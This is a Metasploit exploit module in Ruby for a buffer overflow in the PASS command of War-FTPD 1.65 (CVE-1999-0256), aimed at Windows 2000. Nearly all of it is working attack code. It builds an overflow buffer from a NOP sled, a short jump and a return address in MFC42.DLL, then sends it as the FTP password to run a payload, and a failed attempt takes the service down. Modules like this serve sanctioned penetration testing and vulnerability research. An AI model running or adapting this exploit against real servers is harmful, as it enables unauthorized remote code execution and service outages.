War-FTPD 1.65 Password Overflow

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = AverageRanking

  include Msf::Exploit::Remote::Ftp

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'War-FTPD 1.65 Password Overflow',
      'Description'    => %q{
          This exploits the buffer overflow found in the PASS command
        in War-FTPD 1.65. This particular module will only work
        reliably against Windows 2000 targets. The server must be
        configured to allow anonymous logins for this exploit to
        succeed. A failed attempt will bring down the service
        completely.
      },
      'Author'         => 'hdm',
      'License'        => BSD_LICENSE,
      'References'     =>
        [
          [ 'CVE', '1999-0256'],
          [ 'OSVDB', '875'    ],
          [ 'BID', '10078'	]
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process'
        },
      'Payload'        =>
        {
          'Space'    => 424,
          'BadChars' => "\x00\x0a\x0d\x40",
          'StackAdjustment' => -3500,
          'Compat'   =>
            {
              'ConnectionType' => "-find"
            }
        },
      'Platform'      => %w{ win },
      'Targets'        =>
        [
          # Target 0
          [
            'Windows 2000',
            {
              'Platform' => 'win',
              'Ret'      => 0x5f4e772b # jmp ebx in the included MFC42.DLL
            },
          ],
        ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => '1998-03-19'))
  end

  def exploit
    connect

    print_status("Trying target #{target.name}...")

    buf          = make_nops(566) + payload.encoded
    buf[558, 2]  = "\xeb\x06"
    buf[562, 4]  = [ target.ret ].pack('V')

    # Send USER Command
    send_user(datastore['FTPUSER'])

    # Send PASS Command
    send_cmd(['PASS', buf], false)

    handler
    disconnect
  end
end